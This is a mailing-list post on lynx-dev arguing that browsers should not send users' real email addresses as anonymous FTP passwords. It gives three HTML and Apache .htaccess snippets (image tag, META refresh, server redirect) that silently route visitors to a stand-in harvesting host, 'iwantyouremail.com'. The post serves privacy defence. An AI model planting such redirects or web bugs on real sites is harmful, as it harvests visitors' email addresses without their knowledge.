Re: lynx-dev lynx: ftp anonymous password

[David Mosher]

There seems to be a fundamental misapprehension floating around in this
thread that the only FTPs are obvious ones.  If you think that your browser
uses FTP *only* when you explicitly give it an FTP URL, think again.

Here are three scenarios in which directing a browser to an HTTP URL also
initiates an anonymous FTP transfer, possibly to a completely unknown FTP
host.  The first is aimed at graphical browsers, all of which are
susceptible; Lynx is immune.  The second catches most browsers other than
Lynx, although it may work for Lynx if the human pilot is napping.  The
third works, AFAIK, for *all* browsers.  It definitely works for Mozilla,
MS-IE, *and Lynx*.

If you're using a graphical browser you almost certainly won't be aware of
the first.  Whether you notice the second or third depends on the details of
implementation, your alertness, and which browser you're using.  Even if you
notice, it will only be after the fact.


 1. Images with FTP URLs.  You're looking at 'http://some-server/' with
    your graphical browser.  What you don't know is that the nifty graphic
    in the middle of the page, or the webbug in the upper corner that you
    can't even see, was loaded from 
    'IMG SRC="ftp://iwantyouremail.com/gotcha.gif";' and your browser has
    already it retrieved via anonymous FTP. 

    Some time ago, when most browsers stopped sending HTTP-From, it was
    recognized that this scenario afforded a continuing means of e-address
    harvesting.  As a consequence, most browsers eventually stopped
    submitting valid e-addresses as passwords for anonymous FTP, either by
    default or, at least, by configuration.  For a discussion of this, see
    <http://glennf.com/spam/ftpgrab.html>.
    

 2. Client-side redirects.  You visit 'http://some-server/'.  The
    index.html there contains the META directive 
    'HTTP-EQUIV="Refresh" CONTENT="0; ftp://iwantyouremail.com/index.html";'.
    If you're using a browser other than Lynx, you were almost certainly
    redirected in the blink of an eye and it is the latter index.html,
    retrieved via FTP, that is rendered on your screen.  If you're using
    Lynx, which does not automatically follow client-side redirects, you
    saw "REFRESH(0 sec): ftp://iwantyouremail.com/index.html";.  Did your
    notice the URL, or did you automatically follow the link?
    

 3. Server-side redirects.  This is similar to (2), but more basic.  I
    tried this yesterday with Mozilla 0.9.8, MS-IE 5.5 SP2, and Lynx
    2.8.3rel.1 & 2.8.4rel.1.  All four instantly followed a server-side
    redirect from an HTTP URL to an FTP URL.
    
    You visit 'http://some-server/', which returns either a "301 Moved
    Permanently" or "302 Moved Temporarily" status message, followed by
    "Location: ftp://iwantyouremail.com/index.html";.  It is this file,
    automatically and immediately retrieved via FTP, that is rendered on
    your screen by the above browsers (and probably all others).
    
    How an HTTP server is configured to do this depends on the server.  For
    Apache, it is implemented simply with a line like this added to the
    '.htaccess' file in the "home" dir (i.e., the one Apache considers to be
    "DocumentRoot") of some-server: 
      redirect /index.html ftp://iwantyouremail.com/index.html
      
    I wasn't able to leave my own test example in place.  Perhaps someone
    else on lynx-dev could set this up for others to try, creating a
    server-side redirect from an HTTP URL to a benign FTP URL.  (I
    redirected to ftp://ftp.gnu.org/gnu/Manuals/index.html, but the GNU FTP
    host is often busy, particularly on weekdays, so this probably wouldn't
    be a good choice.)
    

All of the above are real.  All have been seen, at some point, "in the
wild".  But they're not very common.  Why?  Basically, because Lynx is one
of the few sheep left to fleece.  It's not really worth the trouble.


Look, as far as this issue of e-addresses is concerned, the essential
distinction between FTP and HTTP is time.  FTP dates back to the days when
the Net was relatively small and fairly collegial.  Even just ten years ago,
few thought twice about giving a valid e-address as the password for
anonymous FTP.  When HTTP came along, it too offered client identification
using HTTP-From.  Early browsers, including Lynx, routinely sent HTTP-From.
But the Net was rapidly changing and it wasn't long before some questioned
whether this was a good idea.  Lynx added a '-nofrom' command-line option to
suppress HTTP-From.  Sooner of later, others did likewise.  Today,
"NO_FROM_HEADER:TRUE" is Lynx's default and other browsers also suppress it.
And most other browsers, recognizing that there is little to distinguish it
from HTTP in this regard, also no longer offer up valid e-addresses for FTP. 

Any website that so wished could require clients to enable HTTP-From before
delivering content.  I've never encountered one that put it in quite this
way, but there are plenty of sites that require a registration including an
e-address.  Like rare FTP hosts, they might also attempt to verify that the
e-address looks valid before surrendering content.  There are also sites
with more elaborate schemes involving e-mailed time-limited HTTP or FTP URLs
pointing to their goodies.  (Of course, many of the e-addresses collected in
this manner will be throw-away ones at Yahoo, Hotmail, etc.)  My point here
is simply further argument that there is little to distinguish FTP from HTTP. 

There isn't anything sacramental about FTP.  Like HTTP, it is a protocol for
transferring data via TCP/IP.  As regards the divulging of users' data, Lynx
should treat it the same way it treats HTTP.  That is, don't.

-- 
David Mosher <address@hidden>

; To UNSUBSCRIBE: Send "unsubscribe lynx-dev" to address@hidden